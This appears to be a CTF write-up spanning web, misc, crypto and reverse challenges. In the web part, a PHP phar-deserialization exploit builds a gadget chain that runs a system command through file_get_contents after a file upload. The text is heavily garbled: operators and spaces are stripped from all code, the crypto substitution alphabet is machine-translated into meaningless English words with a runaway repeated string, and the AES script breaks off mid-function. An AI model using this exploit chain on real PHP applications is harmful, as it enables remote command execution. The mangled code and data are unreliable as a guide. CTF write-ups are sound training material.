Morning CTF part

web

simplelogin

yakit burst out the password, remember it should be a123456:

pppp

index.php has an arbitrary file read:

?php

//upload.php

error_reporting(0);

highlight_file(__FILE__);

class A {

public $a;

public function __destruct()

{

$s=$this-$a;

$s();

}

}

class B{

public $cmd;

function __invoke(){

return $this-start();

}

function start(){

echo system($this-cmd);

}

}

if(isset($_GET['file'])) {

if(strstr($_GET['file'], 'flag')) {

die('Get out!');

}

echo file_get_contents($_GET['file']);

}

?

Read upload.php:

!--?php

error_reporting(0);

if(isset($_FILES['file'])){

mkdir('upload');

$uid=uniqid();

$ext=explode('.',$_FILES['file']['name']);

$ext=end($ext);

move_uploaded_file($_FILES['file']['tmp_name'],'upload/'.$uuid.'.png');

echo'UploadSuccess!FilePath:upload/'.$uuid.'.png';

}--

The uploaded file will be changed to .png

Try uploading the phar file and triggering the deserialization execution command with file_get_contents on the homepage:

//phar.php

?php//phar.php

classA{

public$a;

publicfunction__destruct()

{

$s=$this-a;

$s();

}

}

classB{

public$cmd;

function__construct(){

$this-$cmd='catflag';

}

function__invoke(){

return$this-start();

}

functionstart(){

system($this-cmd);

}

}

$b=newB();

$b-cmd='cat/flag';

$a=newA();

$a-a=$b;

@unlink('phar.phar');

$phar=newPhar('phar.phar');//The suffix must be phar

$phar-startBuffering();

$phar-setStub('?php__HALT_COMPILER();');//Set stub

$phar-setMetadata($a);//Save custom meta-data into manifest

$phar-addFromString('a.txt','abb');//Add the file to be compressed

$phar-stopBuffering();//Signature automatically calculates

?

Upload and access:

misc

ftp

Traffic extraction zip, and then password is the same password password1234567890

crypto

baby_Words on Zen with Buddha

aes, but after XOR, the result is converted into characters, so you can turn it back and solve aes

ruShiWoWen=[

'无', 'mu', 'monk', 'room', 'art', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser'

'未', 'li', 'blin', 'due', 'mul', 'pregnancy', 'san', 'black', 'naked', 'bean', 'special', 'div', 'reach', 'return', 'length', 'length', 'length', 'length', 'length', 'length',

'li', 'written', 'number', 'responsible', 'respect', 'ro', 'respect', 'respect', 'know', 'three', 'bing', 'no', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible', 'responsible',

'Insight', 'thought', 'dream', 'until', 'remove', 'horrible', 'restrained', 'restrained', 'restrained', 'restrained', 'will', 'wisdom', 'old', 'toward',

'roar', 'foot', 'you', 'wang', 'you', 'won', 'mu', 'mu', 'light', 'protect', 'jin', 'harmony', 'going', 'treasure', 'win', 'tong', 'won', 'win', 'tong',

'medicine', 'teacher', 'little', 'living', 'pure', 'deal', 'mountain', 'good', 'pass', 'go', 'seven', 'not', 'come', 'smart', 'smart', 'smart', 'smart', 'smart', 'smart', 'smart', 'smart', 'smart',

'Cause', 'Thousand', 'Five', 'Hundred', 'Ten Thousand', 'Flowers', 'Billions', 'Decision', 'Six', 'Fang', 'Name', 'Name', 'Tong', 'Yue', 'Yun', 'Dian', 'Miracle',

'Zun', 'tree', 'root', 'west', 'soap', 'flame', 'north', 'qing', 'number', 'element', 'improve', 'head', 'lower', 'silence', 'quantity', 'element', 'element', 'four', 'element', 'four', 'element', 'four', 'element', 'four', '

'Do', 'Shi', 'Ga', 'Mu', 'Ni', 'Le', 'A', 'Du', 'Zhong', 'Yang', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong', 'Zhong'

'action', 'in', 'empt', 'empt', 'compassion', 'worry', 'someone', 'satisfaction', 'stable', 'rest', 'day', 'night', 'cultivation',

'hold', 'heart', 'seeking', 'recitation', 'recitation', 'this', 'sutra', 'energy', 'death', 'elimination', 'elimination', 'toxic', 'harm', 'high', 'open', 'text',

'super', 'lift', 'cool', 'as if', 'thought', 'that', 'that', 'emperor', 'vi', 'true', 'ling', 'qian', 'shu', 'ha', 'respect',

'Gift', 'Feng', 'Ancestor', 'First', 'Filial Piety', 'Double', 'My Master', 'Stay', 'My Master', 'Love', 'Brother', 'Brother', 'First', 'Friend', 'Friend', 'Friend', 'Friend',

'Music', 'Zen', 'Clan', 'Home', 'My', 'My', 'Teaching', 'Sun', 'Time', 'Tire', 'Bulse', 'Yin', 'Yin', 'Difficult', 'Economic',

'urgent', 'soft', 'soft', 'shoulder', 'creation', 'soft', 'soft', 'shu', 'shu', 'shu', 'shu', 'creation', 'repet', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', '

'kill', 'release', 'bridge', 'road', 'cove', 'little', 'draw', 'draw', 'draw', 'sleep', 'sweep', 'sweep', 'sweep', 'sweep', 'sweep', 'don', 'invest', 'invest']

enc='The person who recites the love is guarding the Mengzabao and lying the lying of the lying of the heart, and killing the lying of the heart, and worrying, and reciting the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the lying of the

dec=b''

for i in enc:

dec +=(ruShiWoWen.index(i) ^ 64).to_bytes(1, 'little')

KEY=b'DASCTF@Key@^_^@Encode!Buddha!'

IV=b'IV|DASCTF|OvO|IV'

from Crypto.Cipher import AES

from Crypto.Util.Padding import pad, unpad

cryptor=AES.new(KEY, AES.MODE_CBC, IV)

# padded_data=pad(data.encode('utf-8'), AES.block_size)

encrypted_data=cryptor.decrypt(dec)

print(encrypted_data)

re

NormalAndroid

When you open jadx, you only call one function in so, ida and look at it in the past:

You can see something like a key and transform the key:

surface:

surface

Then enter the encryption logic, which is an AES encryption, and the S box was modified in the past:

So I just find a code implemented by AES to modify the S box, and then use the transformed key to decrypt it. Because the network competition was cut off, there was no script stored at that time, so I didn't make it:

fromCrypto.Util.numberimportlong_to_bytes,bytes_to_long

#https://github.com/bozhu/AES-Python/blob/master/aes.py

Sbox=(

0xBE,0xB4,0x9F,0x70,0xDB,0xAD,0x31,0x30,0x6C,0x87,

0x74,0x27,0xC9,0x4C,0x67,0x62,0x0A,0x36,0x08,0xC8,

0x96,0x32,0x00,0xF1,0x38,0x65,0xEC,0xED,0x44,0x25,

0xAA,0x33,0x86,0xEF,0x0D,0x19,0x7D,0xD5,0x45,0xFB,

0x8D,0x61,0xFE,0x50,0x47,0x7E,0x7C,0xF9,0x01,0xDE,

0xFF,0xE1,0xAC,0x5D,0xB5,0x8E,0x48,0xBF,0x90,0x9D,

0x79,0xCB,0xA6,0xA9,0xFC,0x34,0xCF,0x63,0x5A,0x99,

0x98,0xB8,0x92,0x2D,0x02,0x89,0x2C,0x3B,0x15,0x72,

0x5E,0x60,0x29,0x6F,0x0B,0x24,0x6D,0x1C,0x5B,0xE0,

0x37,0xA4,0xCC,0x12,0x93,0xA7,0x09,0xC6,0xB6,0x8F,

0x04,0x20,0xE8,0x46,0xB1,0xAE,0x3A,0x68,0x81,0xCE,

0x2B,0x0C,0xB3,0x3E,0xC0,0x0E,0x4D,0xD8,0xD2,0xA2,

0x9E,0x56,0x28,0xB0,0x35,0x1B,0x5F,0xF5,0x05,0xBC,

0x3C,0x4F,0x8C,0xE6,0xF6,0x75,0xF4,0xF8,0xDD,0x11,

0xC1,0xB9,0x4E,0x97,0xD6,0xF2,0xE4,0xD1,0x82,0xD3,

0x03,0x8B,0x4B,0xCA,0x64,0xEB,0xAB,0x71,0xA1,0xBA,

0xA8,0x6A,0x1E,0x1A,0xA5,0x49,0x6E,0x53,0x66,0x39,

0x51,0xE9,0x26,0xC4,0xDA,0x55,0x3F,0xEA,0x85,0x8A,

0xD9,0x13,0x69,0x1F,0xE2,0x7F,0x2F,0xC5,0x88,0x57,

0x73,0xA3,0xE3,0x0F,0xBB,0x18,0xE5,0x42,0x22,0x52,

0x43,0x80,0x2A,0x6B,0x17,0xD7,0x23,0x06,0x58,0x1D,

0x7A,0x84,0xE7,0xEE,0xD0,0x41,0xD4,0xBD,0xA0,0xC3,

0xC2,0xFD,0x21,0x54,0xDF,0x7B,0xB7,0xF0,0xB2,0x77,

0x3D,0x07,0x78,0x16,0x9C,0x59,0xAF,0x2E,0x83,0xFA,

0x9B,0x95,0xF7,0x40,0x94,0xF3,0xCD,0xC7,0x91,0x10,

0xDC,0x4A,0x14,0x9A,0x5C,0x76

)

InvSbox=[Sbox.index(i)foriinrange(256)]

#learntfromhttp://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c

xtime=lambdaa:(((a1)^0x1B)0xFF)if(a0x80)else(a1)

Rcon=(

0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40,

0x80,0x1B,0x36,0x6C,0xD8,0xAB,0x4D,0x9A,

0x2F,0x5E,0xBC,0x63,0xC6,0x97,0x35,0x6A,

0xD4,0xB3,0x7D,0xFA,0xEF,0xC5,0x91,0x39,

)

deftext2matrix(text):

matrix=[]

foriinrange(16):

byte=(text(8*(15-i)))0xFF

ifi%4==0:

matrix.append([byte])

else:

matrix[i//4].append(byte)

returnmatrix

defmatrix2text(matrix):

text=0

foriinrange(4):

forjinrange(4):

text|=(matrix[i][j](120-8*(4*i+j)))

returntext

classAES:

def__init__(self,master_key):

self.change_key(master_key)

defchange_key(self,master_key):

self.round_keys=text2matrix(master_key)

#printself.round_keys

foriinrange(4,4*11):

self.round_keys.append([])

ifi%4==0:

byte=self.round_keys[i-4][0]\

^Sbox[self.round_keys[i-1][1]]\

^Rcon[i//4]

self.round_keys[i].append(byte)

forjinrange(1,4):

byte=self.round_keys[i-4][j]\

^Sbox[self.round_keys[i-1][(j+1)%4]]

self.round_keys[i].append(byte)

else:

forjinrange(4):

byte=self.round_keys[i-4][j]\

^self.round_keys[i-1][j]

self.round_keys[i].append(byte)

#printself.round_keys

defencrypt(self,plaintext):

self.plain_state=text2matrix(plaintext)

self.__add_round_key(self.plain_state,self.round_keys[:4])

foriinrange(1,10):

self.__round_encrypt(self.plain_state,self.round_keys[4*i:4*(i+1)])

self.__sub_bytes(self.plain_state)

self.__shift_rows(self.plain_state)

self.__add_round_key(self.plain_state,self.round_keys[40:])

returnmatrix2text(self.plain_state)

defdecrypt(self,ciphertext):

self.cipher_state=text2matrix(ciphertext)

self.__add_round_key(self.cipher_state,self.round_keys[40:])

self.__inv_shift_rows(self.cipher_state)

self.__inv_sub_bytes(self.cipher_state)

foriinrange(9,0,-1):

self.__round_decrypt(self.cipher_state,self.round_keys[4*i:4*(i+1)])

self.__add_round_key(self.cipher_state,self.round_keys[:4])

returnmatrix2text(self.cipher_state)

def__add_round_key(self,s,k):

foriinrange(4):

forjinrange(4):

s[i][j]^=k[i][j]

def__round_encrypt(self,state_matrix,key_matrix):

self.__sub_bytes(state_matrix)

self.__shift_rows(state_matrix)

self.__mix_columns(state_matrix)

self.__add_round_key(state_matrix,key_matrix)

def__round_decrypt(